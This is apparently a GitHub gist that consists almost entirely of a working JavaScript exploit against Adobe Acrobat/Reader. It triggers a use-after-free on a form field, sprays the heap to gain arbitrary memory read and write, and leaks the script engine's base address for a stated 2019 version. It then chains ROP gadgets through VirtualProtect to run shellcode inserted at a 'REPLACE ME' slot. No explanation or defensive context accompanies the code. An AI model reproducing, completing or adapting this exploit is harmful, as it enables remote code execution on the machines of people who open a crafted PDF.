Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
console.show()
function gc() {
for(var i = 0; i < 3; i++) {
var z = new ArrayBuffer(1024*1024*100)
}
}
String.prototype.hex = function() {
var r = ''
for(var i = 0; i < this.length; i++) {
var hexbyte = this.charCodeAt(i).toString(16)
hexbyte = '0'.repeat(4 - hexbyte.length) + hexbyte
var t = hexbyte.slice(2, 4) + hexbyte.slice(0, 2)
r += t
}
return r
}
String.prototype.dhex = function() {
if (this.length != 8) return null
var r = 0
for(var i = 0; i < this.length; i += 2) {
var t = parseInt(this.substring(i, i+2), 16)
if (t == NaN) return null
r += (t * Math.pow(2, (i*4)) )
}
return r
}
/* heap spray */
spray_size = 0x2000
spray = new Array(spray_size)
GUESS = 0xD0E0058
for(var i = 0; i < spray_size; i++) {
spray[i] = new ArrayBuffer(0x10000-24)
}
//var sz = 0x100
var sz = 0x100
var n = 5
var n2 = 32
var n3 = 1024*2
for(var i = 0; i < spray_size; i++) {
var dv = new DataView(spray[i])
/* CEStr buf */
dv.setUint32(4, GUESS + 0xC, true)
/* CEStr size */
dv.setUint32(8, sz + 14-4, true)
for(var j = 0; j < (sz+32)/4; j++) {
dv.setUint32(0xC + j*4, 0xFFFFFFFF-i, true)
}
}
f = this.addField("a.1", "text", 0, [0, 0, 0,0 ]);
f2 = this.addField("b", "text", 0, [0, 0, 0, 0]);
f.setAction("Calculate", "event.value = event.value *2")
f2.setAction("Calculate", "event.value = event.value *2")
O = {}
t = this
Ar = []
TARGETS = []
O.valueOf = function() {
t.removeField("a")
/* heapspray to overwrite freed field object */
var str = "\u0058\u0d0e"; while (str.length < 0x158) str += str;
for(var j = 0; j < 32; j++) {
for(var i = 4; i < 1024; i++) Ar.push(str.substring(0, i/2-1).toUpperCase());
}
for(var i = 0; i < 1024*n; i++) {
TARGETS.push(new ArrayBuffer(sz))
}
var dv
for(var i = 0; i < 1024*n; i++) {
dv = new DataView(TARGETS[i])
dv.setUint32(0, 0x77ffff77)
dv.setUint32(4, i, true)
}
for(var i = 1024*(n-2); i < 1024*(n-2)+n3; i += 4) {
delete TARGETS[i]
TARGETS[i] = null
}
gc()
for(var i = 0; i < n2; i++) {
TARGETS.push(new ArrayBuffer(sz))
}
return 1
}
var relative_rw
var spray_idx
var leak_idx
var s_idx
var fake_string_dv
var corrupted_arraybuffer_idx
var g_write_offset
A = []
function myread(addr, size) {
fake_string_dv.setUint32(4*(3+1), addr, true)
var r = A[leak_idx][17].hex()
return r.slice(0, 2*size)
}
function mywrite(addr, val) {
relative_rw.setUint32(g_write_offset, addr, true)
A[leak_idx][15][0] = val
}
function step2() {
var num = 1024
for(var i = 0; i < num; i++) {
var q = new Array(18)
for(var j = 0; j < 17; j++) {
q[j] = i
}
q[16] = TARGETS[corrupted_arraybuffer_idx]
q[17] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
A.push(q)
q[0] = 0x22ffff22
}
for(s_idx = 0; s_idx < 1024*5; s_idx++) {
var t = relative_rw.getUint32(4*s_idx, true)
if (t == 0x22ffff22) break
}
console.println('FOUND ARRAY AT: ' + s_idx)
fake_string_dv = new DataView(spray[spray_idx])
//fake string object
fake_string_dv.setUint32(4*3, 0x3E8, true)
fake_string_dv.setUint32(4*(3+1), GUESS+(5*14), true)
fake_string_dv.setUint32(4*(3+2), 0, true)
fake_string_dv.setUint32(4*(3+3), 0, true)
/* put our fake string insdie array */
leak_idx = relative_rw.getUint32(4*(s_idx+2), true)
relative_rw.setUint32(4*(s_idx+17*2), GUESS+(3*4), true)
console.println('Test global read')
console.println(myread(GUESS+64, 4).dhex().toString(16))
console.println('==================================')
var relative_rw_header = relative_rw.getUint32(4*(s_idx+16*2), true)
console.println(relative_rw_header.toString(16))
var T = []
for (var i = 0; i < 0x1000*8; i++) {
T.push(new Uint32Array(2))
}
A[leak_idx][15] = T[i-1]
A[leak_idx][15][0] = 0x99ffff99
var ArrayBuffer_addr = myread(relative_rw_header + 0xC, 4).dhex()
var TypedArray_header = relative_rw.getUint32(4*(s_idx+15*2), true) + 80
console.println(TypedArray_header.toString(16))
if (TypedArray_header < ArrayBuffer_addr) {
console.println('TypedArray header is not behind corrupted ArrayBuffer')
return null
}
console.println('Test global write')
g_write_offset = TypedArray_header - ArrayBuffer_addr
mywrite(ArrayBuffer_addr + 4, 0x13371338)
console.println(relative_rw.getUint32(4, true).toString(16))
console.println('==================================')
//2019.010.20091 offset
var escript_base = myread(relative_rw.getUint32(4*(s_idx+15*2), true)+0xC, 4).dhex() - 0x02654B0
console.println('Escript base: ' + escript_base.toString(16))
var v_gAcroViewHFT = escript_base + 0x026536C
var t = myread(v_gAcroViewHFT, 4).dhex()
// first gadget
// 0x16dfe9 : mov ecx, dword ptr [eax + 4] ; ecx = GUESS
// mov eax, dword ptr [ecx] ; eax = GUESS + 4
// call dword ptr [eax]
mywrite(t + 4, GUESS)
fake_string_dv.setUint32(0, GUESS + 4, true)
// second gadget
// 0xc8f27 : push eax ; pop esp ;
// pop ecx ; movzx eax, ax ; ret ;
fake_string_dv.setUint32(4, escript_base + 0xc8f27, true)
// 0x19e058 virtualprotect import
fake_string_dv.setUint32(8, myread(escript_base + 0x19f058, 4).dhex(), true)
var vprotect_args = [
GUESS + 4*32, // return address
GUESS, // lpAddress
0x1000, // size
0x40, // flNewProtect
GUESS, //lpflOldProtect
]
for(var i = 0; i < vprotect_args.length; i++) {
fake_string_dv.setUint32(12 + 4*i, vprotect_args[i], true)
}
//var shellcode = [0xcccccccc]
/* REPLACE ME */
for(var i = 0; i < shellcode.length; i++) {
fake_string_dv.setUint32(4*32 + i*4, shellcode[i])
}
mywrite(t + 0x598, escript_base + 0x16dfe9)
this.bookmarkRoot.execute()
}
function start() {
var dv
for(var i = 1024*n ;i > 0; i--) {
//search for our length corrupted ArrayBuffer
if (TARGETS[i]) {
corrupted_arraybuffer_idx = i
relative_rw = new DataView(TARGETS[i])
var length = relative_rw.byteLength
if (length != sz) {
spray_idx = (-length) - 1
console.println(console.println('Index where our spray hit 0xD0E0058:' + spray_idx))
relative_rw.setUint32(0, 0xdeadbeee)
step2()
}
}
}
}
f.calcOrderIndex = O;
start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.